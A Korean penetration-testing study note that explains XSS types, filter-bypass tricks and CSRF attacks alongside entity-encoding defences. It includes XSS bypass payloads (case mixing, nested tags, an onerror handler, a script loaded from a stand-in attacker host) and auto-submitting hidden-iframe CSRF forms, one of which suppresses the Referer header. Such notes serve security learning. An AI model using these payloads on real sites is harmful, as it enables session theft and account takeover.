본문 바로가기

모의해킹 공부/모의해킹 스터디

[0518 Day08] XSS & CSRF

XSS(Cross Site Scripting)

XSS : 공격자가 원하는 클라이언트 측 코드를 삽입하여 클라이언트의 브라우저에서 실행되는 공격

    XSS공격을 하여 클라이언트 사용자의 쿠키, 세션을 탈취하여 사이트에 침입하여 피해를 입힐 수 있다

    XSS공격 같은 경우 모든 페이지, 모든 파라미터가 존재하면 발생할 가능성이 있다!!

    XSS는 공격방법에 따라 크게 3가지 공격 기법이 있다

 

[1] Stored XSS

: 공격자가 원하는 클라이언트 측 공격 코드를 서버 DB에 저장하는 공격

    - 클라이언트가 공격 코드가 포함된 DB내용을 확인할 경우 사용자의 쿠키, 세션을 탈취한다

    - 주로 게시판, 댓글 등 같이 DB에 저장되는 곳에서 실행된다

 

[2] Relflected XSS

: 공격자가 악의적인 클라이언트 측 공격 코드를 URL 파라미터에 담아 사용자에게 전달하는 공격

    - 클라이언트 측 사용자가 공격 코드가 포함된 URL을 접속할 경우 사용자의 쿠키, 세션을 탈취한다

    - 주로 검색, 아이디 중복 검색 등 DB에 저장되지 않지만 사용자가 입력한 값이 출력되는 곳에서 실행된다

 

[3] DOM Based XSS

: 공격자가 DOM 환경에서 악의적인 클라이언트 측 기반 공격 코드를 URL 파라미터에 담아 사용자에게 전달하는 공격

    - 클라이언트 측 사용자가 공격 코드가 포함된 URL을 접속할 경우 사용자의 쿠키, 세션을 탈취한다

    - 주로 모든 파라미터가 전달되는 모든 곳에서 실행될 수 있고, 사용자가 입력한 값이 Response에 출력되지 않을 경우


XSS 우회 (Bypass Anti XSS)

-> 보통 방어 하는 방법으로 Black List 필터링으로 적용되어 있다

--> WAF(Web Application Firewall)의 기본 속성,  웹 해킹 공격 패턴을 인식해서 차단한다

 

WAF

 

[1] Client Side 검증 우회

: 클라이언트 측 검증을 javascript로 검증을 우회 하는 방법 EX) <script> -> &lt;script&gt;

-> 프록시 툴을 이용하여 &lt;script&gt;를 다시 바꿔준다

 

[2] Script Load 우회

: ", ', 특정 패턴, 특정 함수들이 필터링을 우회하는 방법

 -> 공격자 서버에 공격 코드를 작성한 페이지를 전달하여 필터링을 우회한다

 EX) <script src="http://test.com/공격.js"></script>

 

[3] 대소문자 혼용 우회

대소문자를 검열하는 것을 우회하는 방법 

-> <script>를 <ScRiPt>로 이용하여 우회한다

 

[4] 특정 문자 필터링 우회

특정 문자를 필터링해서 지우는 것을 우회하는 방법

-> <script>를 <scscriptript>로 입력하여 필터링을 우회한다

 

[5] Event Handler 우회

HTML의 EvenetHandler를 이요하여 우회하는 방법

-> <img src=x onerror="JS">를 입력하여 우회한다

[HTML 태그, 이벤트 핸들러 참고 사이트] https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


XSS 대응 방안

XSS를 대응하기 위해 SQLi와 같이 근본적인 문제를 제거해야한다!!

바로 HTML 특수 문자들을 HTML 엔티티(Entity)로 변환하는 방법이다

엔티티 문자 엔티티 이름 16진수 엔티티
< &lt;  &#60;
> &gt; &#62;
" &quot; &#34;
' &apos; &#39;

하지만 HTML 에디터를 사용하는 게시판은 HTML 엔티티를 사용할 수 없다

가장 좋은 것은  HTML 에디터를 사용하지 않고 HTML 엔티티로 변환하는 방법이지만 꼭 HTML에디터를 사용해야할 경우

먼저 모든 HTML 특수 문자를 HTML 엔티티로 변환하고 화이트 리스트(White List) 기반 필터링으로

필요한 태그만 살려준다 그 후 블랙 리스트(Black List) 기반 필터링으로 이벤트 핸들러를 필터링한다

 

< 추 후 XSS 총 정리!! >


CSRF(Cross Site Request Forgery) : 사이트 간 요청 위조

피해자가 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격이다!!!

CSRF는 모든 요청을 하는 곳에서 일어나지만 특히 민감한 요청하는 곳(비밀번호 변경, 이메일 주소 변경)에서 일어난다

 

★ CSRF VS XSS

요청이 POST방식 일 경우 둘다 스크립트를 이용한 공격이지만,

CSRF는 사용자가 의도치 않게 임의의 요청을 서버에게 날리는 방법,

XSS는 클라이언트 측 브라우저에서 실행되는 스크립트 공격


공격 방법 

[1] GET Method : 페이지 요청이 GET Method를 사용할 경우 

GET 방식일 경우 파라미터를 변환하여 전달한다

http://test.com/userPwChange.php/?passwd=1234&confirm=1234&submit=submit 

 

[2] POST Method : 페이지 요청이 POST Method를 사용할 경우

XSS 취약점을 활용하여 Form태그를 이용해서 파라미터를 변환해 전달한다

// 이메일을 변경하는 사이트 경우
<iframe id="stealthFrame" name="stealthFrame" style="display:none;"></iframe>
<form method="POST" action="공격할 사이트" target="stealthFrame">
	<input type="hidden" name=email value="test@test.com"/>
</form>
<script>
	document.forms[0].submit();
</script>

 

[3] Referer Check : 페이지에서 Referer Check를 요청할 경우

Referer : HTTP 헤더중 하나로, 리퍼러를 참조하여 현재 표시하는 웹페이지가 어떤 웹페이지에서 요청되었는 지 알 수 있다

//리퍼러를 사용하는 페이지 일경우
if(리퍼러 헤더가 있을 경우){
	검사 시작;
	...
} else{	// 리퍼러 헤더가 없을 경우
	검사안하고 고!~	// 검사를 해야하지만 보통 하지않는다 ㅠ
}

위와 같은 로직을 사용하는 사이트 경우 리퍼러를 없이 보내서 공격한다!

// 이메일을 변경하는 사이트 경우
<meta name="referer" content="no-referrer">
<iframe id="stealthFrame" name="stealthFrame" style="display:none;"></iframe>
<form method="POST" action="공격할 사이트" target="stealthFrame">
	<input type="hidden" name=email value="test@test.com"/>
</form>
<script>
	document.forms[0].submit();
</script>

 

[4] CSRF Token : 페이지에서CSRF Token을 사용할 경우

CSRF Token : 임의의 난수를 발생하여 파라미터로 전달한다!!

이 경우 사용자의 CSRF Token을 따로 탈취하고 그것을 이용하여 공격한다

 


[아이콘 저작권]

디지털 아이콘 제작자: Muhammad_Usman - Flaticon

Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

지원 아이콘 제작자: Freepik - Flaticon

스마트 폰 아이콘 제작자: Freepik - Flaticon

섬기는 사람 아이콘 제작자: Those Icons - Flaticon

방화벽 아이콘 제작자: orvipixel - Flaticon

안티 바이러스 아이콘 제작자: Eucalyp Eucalyp- Flaticon